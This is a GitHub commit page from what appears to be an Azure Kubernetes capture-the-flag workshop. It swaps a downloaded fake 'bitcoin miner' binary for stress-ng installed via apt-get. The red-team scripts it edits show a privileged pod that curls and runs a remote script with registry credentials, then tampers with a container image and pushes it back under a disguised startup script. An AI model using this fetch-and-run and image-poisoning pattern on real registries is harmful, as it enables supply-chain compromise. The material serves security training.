Skip to content

Commit

Permalink
Merge pull request #18 from Azure/rm-moneymoneymoney-binary
Browse files Browse the repository at this point in the history
remove moneymoneymoney binary from repo and replace with pulling stress-ng via apt-get
  • Loading branch information
lastcoolnameleft authored Jan 2, 2025
2 parents 4f1fa4b + 3a3cc31 commit c9e0395
Show file tree
Hide file tree
Showing 4 changed files with 7 additions and 17 deletions.
Binary file removed workshop/bitcoin-injector/moneymoneymoney
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@ For Scenario 3, the Red team will modify the running container to inject their b

This directory has the files to support this:

* moneymomeymoney - This is the "bitcoin miner" which is actually stress-ng
* run-bitcoin-injector.sh - This is the script which is run inside the insecure-app container to kick-off the process.
* inject-image.sh - Performs the image pull, modification and push

Expand All @@ -30,6 +29,6 @@ az acr repository delete -n $ACR_NAME --image insecure-app:latest -y
az acr import -n $ACR_NAME --source docker.io/lastcoolnameleft/insecure-app:latest --image insecure-app:latest
kubectl delete deployment insecure-app
kubectl apply -k ./workshop/manifests
scp workshop/bitcoin-injector/inject-image.sh lcnl:lastcoolnameleft.com/mini
scp workshop/bitcoin-injector/run-bitcoin-injector.sh lcnl:lastcoolnameleft.com/mini
scp workshop/scenario_3/inject-image.sh lcnl:lastcoolnameleft.com/mini
scp workshop/scenario_3/run-bitcoin-injector.sh lcnl:lastcoolnameleft.com/mini
```
Original file line number Diff line number Diff line change
Expand Up @@ -31,18 +31,10 @@ buildah pull $IMAGE
IMAGE_CMD=$(buildah inspect $IMAGE | jq '.Docker.config.Cmd | join(" ")' -r)
echo $IMAGE_CMD

#echo $CMD_APPEND

# Build the new command with our moneymoneymoney app
#CMD_BASE='CMD ["echo", "ONE", "&", "/app/moneymoneymoney", "-c", "1", "-d", "10", "&", '
#CMD_FULL="${CMD_BASE}${CMD_APPEND}]"
#echo $CMD_FULL

# Shhh...don't tell anyone, but our bitcoin miner is actually stress-ng
apt-get update

# Shhh...don't tell anyone, but our fake app is actually a stress test tool
wget https://github.com/azure/aks-ctf/raw/refs/heads/main/workshop/bitcoin-injector/moneymoneymoney -O /tmp/moneymoneymoney
chmod 755 /tmp/moneymoneymoney
apt-get install -y stress-ng
cp /usr/bin/stress-ng /tmp/moneymoneymoney

cat > /tmp/startup.sh << EOF
echo "Starting up the app. Totally nothing else!"
Expand Down Expand Up @@ -70,5 +62,4 @@ buildah build -t $IMAGE /tmp
echo "Successfully built new image ($IMAGE)"

buildah push $IMAGE $ACR_NAME
echo "Successfully pushed $IMAGE to $REGISTRY_HOSTNAME"

echo "Successfully pushed $IMAGE to $REGISTRY_HOSTNAME"
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ spec:
- --
- bash
- -c
- "rm -f inject-image.sh && curl -O -J https://raw.githubusercontent.com/azure/aks-ctf/refs/heads/main/workshop/bitcoin-injector/inject-image.sh && bash inject-image.sh $IMAGE $REGISTRY_USERNAME $REGISTRY_PASSWORD"
- "rm -f inject-image.sh && curl -O -J https://raw.githubusercontent.com/azure/aks-ctf/refs/heads/main/workshop/scenario_3/inject-image.sh && bash inject-image.sh $IMAGE $REGISTRY_USERNAME $REGISTRY_PASSWORD"
imagePullPolicy: Always
securityContext:
privileged: true
Expand Down

0 comments on commit c9e0395

Please sign in to comment.